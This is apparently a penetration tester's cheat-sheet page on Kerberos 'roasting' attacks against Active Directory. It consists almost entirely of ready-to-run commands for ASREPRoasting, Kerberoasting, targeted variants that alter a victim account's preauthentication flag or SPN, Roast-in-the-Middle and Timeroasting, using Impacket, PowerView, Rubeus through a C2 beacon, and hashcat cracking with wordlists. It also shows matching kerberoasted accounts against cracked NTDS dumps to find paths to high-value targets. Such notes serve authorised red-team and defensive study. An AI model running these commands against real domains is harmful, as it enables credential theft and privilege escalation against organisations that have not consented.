> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/ad/kerberos/roasting.md).
# Roasting
## ASREPRoasting
Show domain users with `DONT_REQ_PREAUTH` flag set:
```
PowerView3 > Get-DomainUser -UACFilter DONT_REQ_PREAUTH
```
### Normal
#### GetNPUsers.py
*
```
$ GetNPUsers.py megacorp.local/ -dc-ip 127.0.0.1 -no-pass -usersfile ~/ws/enum/names.txt -request -outputfile asrep.in | tee GetNPUsers.out
$ cat GetNPUsers.out | grep -v 'Client not found in Kerberos database'
$ hashcat -m 18200 -O -a 0 -w 3 --session=asrep -o asrep.out asrep.in seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule
```
#### ASREPRoast.ps1
*
```
PS > Get-ASREPHash -Domain megacorp.local -UserName snovvcrash
```
#### Rubeus
```
beacon> execute-assembly ADSearch.exe --search "(&(sAMAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" --attributes cn,distinguishedname,samaccountname
beacon> execute-assembly Rubeus.exe asreproast /nowrap [/user:svc_mssql]
```
### Targeted
*
> "Given GenericWrite/GenericAll DACL rights over a target, we can modify most of the user's attributes. We can change a victim's userAccountControl to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back." (@harmj0y, [ref](https://www.harmj0y.net/blog/activedirectory/targeted-kerberoasting/))
```
PowerView3 > Get-DomainUser snovvcrash | ConvertFrom-UACValue
PowerView3 > Set-DomainObject -Identity snovvcrash -XOR @{useraccountcontrol=4194304} -Verbose
PowerView3 > Get-DomainUser snovvcrash | ConvertFrom-UACValue
ASREPRoast > Get-ASREPHash -Domain megacorp.local -UserName snovvcrash
PowerView3 > Set-DomainObject -Identity snovvcrash -XOR @{useraccountcontrol=4194304} -Verbose
PowerView3 > Get-DomainUser snovvcrash | ConvertFrom-UACValue
```
## Kerberoasting
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{% embed url="" %}
Check `msDS-SupportedEncryptionTypes` attribute (if RC4 is enabled):
```
PowerView3 > Get-DomainUser -Identity snovvcrash -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes
```
### Normal
#### GetUserSPNs.py
```
$ GetUserSPNs.py megacorp.local/snovvcrash:'Passw0rd!' -dc-ip 127.0.0.1 -request -outputfile tgsrep.in
$ hashcat -m 13100 -O -a 0 -w 3 --session=tgsrep -o tgsrep.out tgsrep.in seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule
```
{% hint style="info" %}
In case LDAP(S) ports are blocked, kerberoasting can be performed via the Global Catalog port (3268/TCP). For that purposes [change](https://github.com/fortra/impacket/blob/3c6713e309cae871d685fa443d3e21b7026a2155/examples/GetUserSPNs.py#L268) `ldap://` scheme to `gc://`.
{% endhint %}
Check if there're any **brutable** kerberoastable users with [a path to high value targets](https://github.com/ShutdownRepo/Exegol-images/blob/dcc67cbb8ec69e3dd80aa0f2d8f78980730d3dca/sources/bloodhound/customqueries.json#L34) having got cracked NTDS (useful when writing a report):
```
$ cat ~/ws/enum/tgsrep.in | grep -Pho 'krb5tgs\$23\$.*?\$' | cut -d'*' -f2 | cut -d'$' -f1 > t
$ for acc in `cat t`; do grep -ai $acc ~/ws/loot/ntds.cracked | cut -d: -f1 >> t2; done && rm t
$ vi t2
...convert domain prefix to domain suffix (megacorp.local\svcsql -> svcsql@megacorp.local)...
$ python3 max.py -u neo4j -p 'WeaponizeK4li!' mark-owned -f t2 --add-note "kerberoasted" && rm t2
$ python3 max.py -u neo4j -p 'WeaponizeK4li!' query -q 'MATCH p=shortestPath((n {owned:true})-[:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct|SQLAdmin|ReadGMSAPassword|HasSIDHistory|CanPSRemote*1..5]->(m {highvalue:true})) WHERE NOT n=m RETURN p' --path
```
#### PowerView
* [https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1#L2777)
```
PowerView3 > Invoke-Kerberoast -OutputFormat Hashcat | fl
```
#### Rubeus
*
```
beacon> execute-assembly ADSearch.exe --search "(&(sAMAccountType=805306368)(servicePrincipalName=*))"
beacon> execute-assembly Rubeus.exe kerberoast /format:hashcat /nowrap [/usetgtdeleg] [/user:svc_mssql]
```
### Targeted
> "We can execute 'normal' Kerberoasting instead: given modification rights on a target, we can change the user's serviceprincipalname to any SPN we want (even something fake), Kerberoast the service ticket, and then repair the serviceprincipalname value." (@harmj0y, [ref](https://www.harmj0y.net/blog/activedirectory/targeted-kerberoasting/))
```
PowerView3 > Get-DomainUser snovvcrash | select serviceprincipalname
PowerView3 > Set-DomainObject -Identity snovvcrash -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}
PowerView3 > $User = Get-DomainUser snovvcrash
PowerView3 > $User | Get-DomainSPNTicket | fl
PowerView3 > $User | select serviceprincipalname
PowerView3 > Set-DomainObject -Identity snovvcrash -Clear serviceprincipalname
```
### Roast-in-the-Middle
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```
$ sudo ritm -t/--target 192.168.1.123 -g/--gateway 192.168.1.1 -d/--dc-ip 192.168.1.11 -u/--users-file users.txt
```
### Downgrading Encryption Type (RC4)
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## Timeroasting
* [\[PDF\] Timeroasting, Trustroasting and Computer Spraying (Secura)](https://www.secura.com/uploads/whitepapers/Secura-WP-Timeroasting-v3.pdf)
*
```
$ python3 timeroast.py -a 50 -t 120 -o sntp.in 192.168.1.11
$ hashcat -m31300 -O -a0 -w3 --session=sntp -o sntp.out sntp.in seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule
$ hashcat -m10 -O -a0 -w3 --session=sntp -o sntp.out sntp.in nthashes.txt --hex-wordlist --hex-salt
```
### Targeted
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